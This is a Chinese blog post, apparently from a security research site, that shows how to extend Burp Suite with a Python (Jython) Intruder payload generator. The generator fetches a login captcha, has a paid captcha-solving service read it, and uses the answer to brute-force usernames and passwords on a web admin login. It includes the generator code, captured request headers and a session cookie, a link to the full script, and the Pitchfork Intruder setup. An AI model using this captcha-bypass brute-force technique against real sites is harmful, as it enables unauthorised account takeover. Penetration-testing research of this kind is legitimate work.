首页 > 创新研究 > 详情
强化 web 攻击神器 Burp Suite (一) — 验证码识别技能点
2020-03-08 20:16:04 数智安全研究院

前言

    Burp Suite是一个集成化的渗透测试工具,它集合了多种渗透测试组件,其各个组件之间可灵活配合,可定制化程度极高,正可谓居家旅行杀人越货必备之神器。但是当遇到各式各样的验证码,防火墙等场景,神器也无从下手。有幸 Burp Suite 提供了非常强大的开发接口,可根据需求自行强化,本文记录如何快速为 Burp Suite 添加验证码识别技能点 。


2快速开发

    既然要敏捷开发,采用轻量级的脚本 python 来实现拓展最为快速灵活,也懒得去拖 swing 界面做交互,参数对应修改就行。本次验证码识别用于 Intruder 模块,在脚本中实例化 IntruderPayloadGenerator 类以及其 getNextPayload 方法即可,具体流程如下 。


2.1 抓取验证码请求

#验证码请求头 headers = '''Host: ya.comUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:69.0) Gecko/20100101 Firefox/69.0Accept: image/webp,*/*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeReferer: http://ya.com/cms/fastadmin/public/lf2EomShPI.php/index/loginCookie: PHPSESSID=vltk4df5fbn97vsf8mfjnobr71'''
# 验证码请求地址captcha_url = "http://ya.com/cms/fastadmin/public/index.php?s=/captcha"


2.2 对接验证码识别引擎

    可以使用深度学习来识别验证码,或者接入第三方通用平台。本文为了简单就直接对接某个打码平台,参考平台文档,引入 api、设置对应的id、key 等参数即可 。


2.3 验证码 payload 生成

class IntruderPayloadGenerator(IIntruderPayloadGenerator):    def __init__(self):        self._payloadIndex = 0
def hasMorePayloads(self): return True
def getNextPayload(self, baseValue): req = urllib2.Request(captcha_url, headers=headers) response = urllib2.urlopen(req) filename = "./tmp/"+str(uuid.uuid1())+".png" with open(filename, "wb") as f: f.write(response.read()) #上传到打码平台识别 api = Api(app_id, app_key, pd_id, pd_key) rsp = api.PredictFromFile(pred_type, filename) # 返回识别结果的详细信息 payload = rsp.pred_rsp.value return payload


2.4 完整脚本

    https://github.com/yaseng/pentest/blob/master/misc/burp_captcha_crack.py


3实例演示

    拿一个后台系统来做演示。


3.1 载入拓展

    1、先引入 jython-standalone 包以及相关模块。

    2、加载拓展 burp_captcha_crack.py


3.2 配置参数

    抓取验证码的请求头、url 写入脚本。


3.3 设置 Intruder

    这种场景下的暴力破解,需要自动化填入用户名、密码、验证码三个字段。对于前两个来说,一般是两个字典的迭代组合,后一个验证码不加入迭代计算。先标记用户名+密码,验证码两个变量,并且使用 Pitchfork 模式 。

    此时 payload1 为
§admin&password=admin232323§

    类型自定义迭代器(Custom interator)

  • payload1_1 加载用户名字典
  • payload1_2 为空,分隔符 &password= ,并且去掉 URL 自动编码选项
  • payload1_3 加载密码字典

    payload 2 类型 Extension-Generated 。
    选择对应的拓展。


3.4 attack


4参考

1、官方案例
      https://portswigger.net/burp/extender#SampleExtensions
2、Burp Suite Extender reCAPTCHA 
      https://github.com/bit4woo/reCAPTCHA
3、cnn 验证码识别
      https://github.com/nickliqian/cnn_captcha


上一篇:国家级区块链项目又爆权限漏洞,是人为疏忽还是技术不行?

下一篇:Shadowsocks 重定向攻击分析